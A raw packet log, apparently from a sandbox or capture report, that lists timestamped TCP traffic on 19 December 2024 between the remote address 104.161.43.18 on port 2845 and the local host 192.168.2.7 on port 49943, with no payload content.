Dec 19, 2024 13:45:17.779390097 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.779419899 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.780668974 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.780683994 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.780749083 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.781438112 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.781452894 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.781491995 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.782390118 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.782421112 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.782465935 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.783482075 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.783555984 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.783610106 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.784578085 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.784651995 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.784701109 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.785490036 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.785629034 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.785907030 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.786600113 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.786699057 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.786735058 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.787587881 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.787729025 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.787776947 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.788600922 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.788723946 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.788798094 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.789614916 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.789693117 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.789741993 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.790647984 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.790854931 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.790904999 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.791759014 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.791785955 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.791821003 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.792681932 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.792819023 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.792932987 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.793732882 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.793848991 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.793905973 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.794785976 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.795054913 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.795097113 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.795780897 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.795903921 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.795957088 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.797139883 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.797154903 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.797198057 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.797825098 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.797877073 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.797913074 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.798933029 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.799015045 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.799055099 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.799877882 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.800019026 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.800056934 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.800910950 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.853734016 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.939007998 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.939038992 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.939133883 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.939243078 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.939361095 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.939407110 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.939851999 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.939973116 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.940011024 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.940937996 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.941009998 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.941052914 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.942034960 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.942050934 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.942101955 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.943006039 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.943072081 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.943113089 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.944026947 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.944097996 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.944135904 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.945020914 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.945137024 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.945179939 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.946088076 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.946276903 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.946342945 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.947081089 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.947181940 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.947277069 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.948121071 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.948216915 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.948328972 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.949207067 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.949222088 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.949263096 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.950222969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.950249910 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.950323105 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.951306105 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.951349020 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.951391935 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.952249050 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.952399015 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.952461958 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.953277111 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.953414917 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.953500986 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.954499006 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.954653978 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.954696894 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.955435991 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.955528021 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.955821991 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.956542015 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.956720114 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.956767082 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.957510948 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.957645893 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.957870960 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.958410025 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.958570004 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.958689928 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.959456921 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.959583998 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.959624052 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.960484982 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.960546017 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.960582972 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.961505890 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.961685896 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.961766005 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.962549925 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.962671041 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.962819099 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.963618040 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.963699102 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.963788986 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.964675903 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.964747906 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.964835882 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.965630054 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.965794086 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.965837002 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.966692924 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.966810942 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.966855049 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.967741966 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.967998981 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.968499899 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.968796015 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.969026089 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.969062090 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.969786882 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.969892025 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.969927073 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.970874071 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.971015930 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.971056938 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.971841097 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.972021103 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.972121000 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.972925901 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.972996950 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.973037004 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.973953009 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.974143982 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.974230051 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.975038052 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.975055933 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.975096941 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.976042032 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.976058006 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.976102114 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.976994038 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.977121115 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.977166891 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.978019953 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.978120089 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.978569031 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.979044914 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.979155064 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.979229927 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.980094910 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.980146885 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.980196953 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.981132030 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.981337070 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.981389046 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.982219934 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.982367992 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.982405901 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.983158112 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.983237028 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.983274937 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.984196901 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.984302998 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.984349012 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.985351086 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.985368013 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.985578060 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.986267090 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.986417055 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.986511946 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.987581015 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.987677097 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.987811089 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.988420963 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.988467932 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.988507032 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.989389896 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.989468098 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.989506006 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.990442991 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.990602970 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.990638018 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.991597891 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.991614103 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.991691113 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.992583990 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.992638111 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.992676020 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.131011963 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.131028891 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.131082058 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.131388903 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.131433010 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.131479979 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.132323980 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.132339954 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.132385969 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.133275032 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.133337975 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.133377075 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.134320974 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.134484053 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.134577036 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.135428905 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.135529995 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.135584116 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.136607885 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.136904001 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.137454987 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.138035059 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.138052940 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.138112068 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.138791084 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.138854980 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.139597893 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.139667034 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.139693022 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.139739990 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.140690088 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.140876055 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.140928984 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.141706944 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.141796112 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.141855001 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.142932892 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.142949104 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.142992020 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.143696070 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.143855095 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.143889904 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.144718885 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.144804955 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.144845009 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.145733118 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.145840883 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.145881891 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.146667957 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.146747112 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.146785021 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.147852898 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.147871017 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.147908926 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.148785114 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.148837090 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.149332047 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.149799109 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.149907112 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.149950981 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.150810003 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.150939941 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.151247025 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.151839018 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.151981115 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.152021885 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.152879000 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.152935028 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.152986050 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.153911114 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.154084921 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.154134035 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.154968023 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.155209064 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.155687094 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.156043053 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.156143904 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.156184912 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.157064915 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.157304049 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.157390118 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.158174038 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.158375025 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.158416033 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.159369946 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.159418106 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.160232067 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.160269976 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.160285950 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.160327911 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.161266088 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.161456108 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.161503077 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.162523985 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.162612915 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.162657976 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.163517952 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.163535118 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.163599968 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.164495945 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.164649010 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.164697886 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.165472031 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.165528059 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.165596962 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.166377068 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.166655064 CET	2845	49943	104.161.43.18	192.168.2.7
